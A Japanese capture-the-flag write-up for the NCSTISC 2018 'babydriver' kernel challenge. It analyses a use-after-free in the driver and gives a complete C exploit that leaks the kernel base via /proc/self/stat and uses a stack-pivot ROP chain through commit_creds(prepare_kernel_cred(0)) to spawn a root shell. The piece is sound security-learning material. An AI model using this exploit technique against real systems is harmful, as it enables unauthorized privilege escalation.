イントロ
kernel 強化月間なのでいい感じの問題集を探していたところhama さんのブログ によさげなのがあったため解いていく。第 1 問目はNCSTISC CTF 2018のbabydriver。 ブログよく見てみたらhama リストには 2019 年版 もありました。解いていきたいですね
static analysis
basics
static.sh 1$ modinfo ./babydriver.ko
2filename: /home/wataru/Documents/ctf/ncstisc2018/babydriver/work/./babydriver.ko
3description: Driver module for begineer
4license: GPL
5srcversion: BF97BBB242B36676F9A574E
6depends:
7vermagic: 4.4.72 SMP mod_unload modversions
8
9/ $ cat /proc/version
10Linux version 4.4.72 (atum@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #1 SMP T7
11
12 -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
13 -smp cores=1,threads=1 \
14 -cpu kvm64,+smep \
SMEP 有効・SMAP 無効・oops->panic・KASLR 有効
cdev
cdev.sh 1(gdb) p *(struct cdev*)0xffffffffc0002460
2$1 = {
3 kobj = {
4 name = 0x0,
5 entry = {
6 next = 0xffffffffc0002468,
7 prev = 0xffffffffc0002468
8 },
9 parent = 0x0,
10 kset = 0x0,
11 ktype = 0xffffffff81e779c0,
12 sd = 0x0,
13 kref = {
14 refcount = {
15 refs = {
16 counter = 1
17 }
18 }
19 },
20 state_initialized = 1,
21 state_in_sysfs = 0,
22 state_add_uevent_sent = 0,
23 state_remove_uevent_sent = 0,
24 uevent_suppress = 0
25 },
26 owner = 0xffffffffc0002100,
27 ops = 0xffffffffc0002000,
28 list = {
29 next = 0xffffffffc00024b0,
30 prev = 0xffffffffc00024b0
31 },
32 dev = 260046848,
33 count = 1
34}
35(gdb) p *((struct cdev*)0xffffffffc0002460).ops
36$3 = {
37 owner = 0xffffffffc0002100,
38 llseek = 0x0,
39 read = 0xffffffffc0000130,
40 write = 0xffffffffc00000f0,
41 read_iter = 0x0,
42 write_iter = 0x0,
43 iopoll = 0x0,
44 iterate = 0x0,
45 iterate_shared = 0xffffffffc0000080,
46 poll = 0x0,
47 unlocked_ioctl = 0x0,
48 compat_ioctl = 0xffffffffc0000030,
49 mmap = 0x0,
50 mmap_supported_flags = 18446744072635809792,
51 (snipped...)
52↑ 結構オフセット違うからダメだわ
53}
実装されているfopsは、open/read/write/ioctlの 4 つ。
fops
fops.c 1open:
2 babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc-64)
3 babydev_struct.buf_len = 0x40
4write:
5 if babydev_struct.device_buf is not NULL and arg_size < babydev_struct.buf_len then
6 _copy_from_user(baby_dev_struct.device_buf, arg_size)
7read:
8 if babydev_struct.device_buf is not NULL and arg_size < babydev_struct.buf_len then
9 _copy_to_user(baby_dev_struct.device_buf, arg_size)
10ioctl:
11 if cmd == 0x10001 then
12 kfree(babydev_struct.device_buf)
13 babydev_struct.device_buf = kmem_cache_alloc_trace(size)
14 babydev_struct.buf_len = 0x40
ioctlで任意の大きさにbufを取り直せる。
vuln
babyrelease()
時にbabydev_struct.device_buf
をkfree()
するのだが、参照カウンタ等による制御を行っていない。そのため複数open()
しておいてどれか一つでclose()
すると簡単にUAFが実現できる。しかも、free されているオブジェクトを再 alloc するまでもなく保有できる。
え、もうこの時点で解けたことにしていいかな。。。いや、何か新しい気付きがあるかも知れないから一応やってみよ。
kernbase leak
/proc/self/statをread()
してseq_operations
からleak
。それだけ。
get RIP
さっき使ったseq_operations
を使いまわしてそのまま RIP を取れる。SMEP 有効だから ROP chain して終わり。まじで、ROP chain の gadget 調べる時間のほうがこの問題解くよりも 1.5 倍くらい多い気がする。
exploit
exploit.c 1#define _GNU_SOURCE
2#include <string.h>
3#include <stdio.h>
4#include <fcntl.h>
5#include <stdint.h>
6#include <unistd.h>
7#include <assert.h>
8#include <stdlib.h>
9#include <signal.h>
10#include <poll.h>
11#include <pthread.h>
12#include <err.h>
13#include <errno.h>
14#include <sched.h>
15#include <linux/bpf.h>
16#include <linux/filter.h>
17#include <linux/userfaultfd.h>
18#include <linux/prctl.h>
19#include <sys/syscall.h>
20#include <sys/ipc.h>
21#include <sys/msg.h>
22#include <sys/prctl.h>
23#include <sys/ioctl.h>
24#include <sys/mman.h>
25#include <sys/types.h>
26#include <sys/xattr.h>
27#include <sys/socket.h>
28#include <sys/uio.h>
29
30
31// commands
32#define DEV_PATH "/dev/babydev" // the path the device is placed
33
34// constants
35#define PAGE 0x1000
36#define FAULT_ADDR 0xdead0000
37#define FAULT_OFFSET PAGE
38#define MMAP_SIZE 4*PAGE
39#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
40// (END constants)
41
42// globals
43// (END globals)
44
45
46// utils
47#define WAIT getc(stdin);
48#define ulong unsigned long
49#define scu static const unsigned long
50#define NULL (void*)0
51#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
52 } while (0)
53#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
54 if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
55ulong user_cs,user_ss,user_sp,user_rflags;
56struct pt_regs {
57 ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
58 ulong bx; ulong r11; ulong r10; ulong r9; ulong r8;
59 ulong ax; ulong cx; ulong dx; ulong si; ulong di;
60 ulong orig_ax; ulong ip; ulong cs; ulong flags;
61 ulong sp; ulong ss;
62};
63void print_regs(struct pt_regs *regs)
64{
65 printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
66 printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
67 printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
68 printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
69 printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
70}
71void NIRUGIRI(void)
72{
73 char *argv[] = {"/bin/sh",NULL};
74 char *envp[] = {NULL};
75 execve("/bin/sh",argv,envp);
76}
77// should compile with -masm=intel
78static void save_state(void) {
79 asm(
80 "movq %0, %%cs\n"
81 "movq %1, %%ss\n"
82 "movq %2, %%rsp\n"
83 "pushfq\n"
84 "popq %3\n"
85 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
86}
87
88static void shellcode(void){
89 asm(
90 "xor rdi, rdi\n"
91 "mov rbx, QWORD PTR [rsp+0x50]\n"
92 "sub rbx, 0x244566\n"
93 "mov rcx, rbx\n"
94 "call rcx\n"
95 "mov rdi, rax\n"
96 "sub rbx, 0x470\n"
97 "call rbx\n"
98 "add rsp, 0x20\n"
99 "pop rbx\n"
100 "pop r12\n"
101 "pop r13\n"
102 "pop r14\n"
103 "pop r15\n"
104 "pop rbp\n"
105 "ret\n"
106 );
107}
108// (END utils)
109
110/******* babydev ****************/
111#define INF 1<<31
112size_t current_size = INF;
113
114int _open(){
115 int _fd = open(DEV_PATH, O_RDWR);
116 assert(_fd > 0);
117 current_size = 0x40;
118 return _fd;
119}
120
121void _write(int fd, char *buf, size_t size){
122 assert(size < current_size);
123 assert(write(fd, buf, size) >= 0);
124}
125
126void _realloc(int fd, size_t size){
127 assert(ioctl(fd, 0x10001, size) == 0);
128 current_size = size;
129}
130
131void _close(int fd){
132 assert(close(fd) >= 0);
133}
134
135void _read(int fd, char *buf, size_t size){
136 assert(size < current_size);
137 assert(read(fd, buf, size) > 0);
138}
139/******* (END babydev) *************/
140
141/*** gadgets ***/
142/*
1430xffffffff810eefd0: mov esp, 0x5DFFFA88 ; ret ; (1 found)
1440xffffffff81018062: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (1 found)
1450xffffffff810a1810 T prepare_kernel_cred
1460xffffffff810a1420 T commit_creds
1470xffffffff8102a4a5: mov rax, rdi ; pop rbp ; ret ; (32 found)
1480xffffffff8181a797: 48 cf iretq
1490xffffffff8100700c: pop rcx ; ret ; (25 found)
150
1510xffffffff81063694: 0f 01 f8 swapgs
1520xffffffff81063697: 5d pop rbp
1530xffffffff81063698: c3 ret
154
155*/
156
157void gen_chain(ulong *a, const ulong kernbase)
158{
159 scu pop_rdi = 0x3e7d9d;
160 scu prepare_kernel_cred = 0x0a1810;
161 scu rax2rdi_rep_pop_rbp = 0x018062;
162 scu pop_rcx = 0x00700c;
163 scu commit_creds = 0x0a1420;
164 scu swapgs_pop_rbp = 0x063694;
165 scu iretq = 0x81a797;
166
167 save_state();
168
169 *a++ = pop_rdi + kernbase;
170 *a++ = 0;
171 *a++ = prepare_kernel_cred + kernbase;
172 *a++ = pop_rcx + kernbase;
173 *a++ = 0;
174 *a++ = rax2rdi_rep_pop_rbp + kernbase;
175 *a++ = 0;
176 *a++ = commit_creds + kernbase;
177
178 *a++ = swapgs_pop_rbp + kernbase;
179 *a++ = 0;
180 *a++ = iretq + kernbase;
181 *a++ = &NIRUGIRI;
182 *a++ = user_cs;
183 *a++ = user_rflags;
184 *a++ = user_sp;
185 *a++ = user_ss;
186
187 *a++ = 0xdeadbeef; // unreachable
188}
189
190/************ MAIN ****************/
191
192int main(int argc, char *argv[]) {
193 char buf[0x2000];
194 int fd[0x10];
195 int statfd;
196
197 // UAF
198 fd[0] = _open();
199 fd[1] = _open();
200 _realloc(fd[0], 0x20);
201 _close(fd[0]);
202
203 // leak kernbase
204 statfd = open("/proc/self/stat", O_RDONLY);
205 assert(statfd > 0);
206 _read(fd[1], buf, 0x10);
207 const ulong single_start = ((ulong*)buf)[0];
208 const ulong kernbase = single_start - 0x22f4d0UL;
209 printf("[!] single_start: %lx\n", single_start);
210 printf("[!] kernbase: %lx\n", kernbase);
211
212 // prepare chain and get RIP
213 const ulong gadstack = 0x5DFFFA88;
214 const char *maddr = mmap(gadstack & ~0xFFF, 4*PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
215 const ulong **chain = maddr + (gadstack & 0xFFF);
216 gen_chain(chain, kernbase);
217
218 ((ulong*)buf)[0] = kernbase + 0x0eefd0;
219 _write(fd[1], buf, 0x8);
220
221 // NIRUGIRI
222 read(statfd, buf, 1);
223
224 return 0;
225}
アウトロ
新しい気づきは、ありませんでした。
もうすぐ 3.11 から 10 年ですね。あの時から精神的にも知能的にも技術的にも何一つ成長できている気がしませんが、小学生の自分には笑われないようにしたいですね。
あと柴犬飼いたいですね。
symbols without KASLR
symbols.txt1cdev: 0xffffffffc0002460
2fops: 0xffffffffc0002000
3kmem_cache_alloc_trace: 0xffffffff811ea180
4babyopen: 0xffffffffc0000030
5babyioctl: 0xffffffffc0000080
6babywrite: 0xffffffffc00000f0
7kmalloc-64: 0xffff880002801b00
8kmalloc-64's cpu_slub: 0x19e80
9babydev_struct: 0xffffffffc00024d0
参考
- hama リスト 2018: https://hama.hatenadiary.jp/entry/2018/12/01/000000
- hama リスト 2019: https://hama.hatenadiary.jp/entry/2019/12/01/231213
- ニルギリ: https://youtu.be/yvUvamhYPHw